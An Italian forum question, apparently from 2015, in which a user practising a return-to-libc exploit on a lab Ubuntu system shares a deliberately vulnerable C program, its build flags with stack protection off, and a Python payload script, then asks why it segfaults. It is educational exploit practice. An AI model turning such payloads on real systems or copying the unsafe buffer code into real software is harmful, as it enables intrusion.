Esercitarsi con gli exploit return-2-libc

4

Sto cercando di riprodurre un return-to-libc per un semplice programma vulnerabile. Il tutorial è tratto da link

Ho apportato alcune piccole modifiche, per renderlo più facile per me.

Prima di tutto, sto lavorando su un sistema Ubuntu Linux:

Linux ubuntux86 4.2.0-22-generic #27-Ubuntu SMP Thu Dec 17 22:57:22 UTC 2015 i686 i686 i686 GNU/Linux

Per prima cosa ho disabilitato ASLR per Ubuntu (randomize_va_space)

Poi ho scritto questo programma:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[256];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    fflush(stdout);
    return 0;
}

Poi ho compilato questo programma vulnerabile come questo:

gcc -g -fno-stack-protector -o vuln1 vuln1.c 

Poi ho iniziato a scrivere un exploit sulla base del tutorial:

#!/usr/bin/env python
import struct
from subprocess import call

# Junk + system + exit + shell
buf = ""
buf += "A" * 200
buf += "B" * 60
# since here: buffer overflow
buf += "\x60\xd1\xe3\xb7"
# pointing to system function
buf += "\x90\x0c\xe3\xb7"
# pointing to exit function
buf += "\x8f\xf3\xff\xbf"
# Content of SHELL Var = /bin/sh

print(buf)

Quindi avvio il programma vulnerabile con il comando

./vuln1 $(python exploit.py)

Ma dopo, non ho una nuova shell, ma solo un errore di errore di segmentazione. GDB mi mostra anche questo:

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()

La domanda è: cosa ho fatto di sbagliato? Cosa ho dimenticato?

    
posta kristian 30.12.2015 - 23:23
fonte

0 risposte

Leggi altre domande sui tag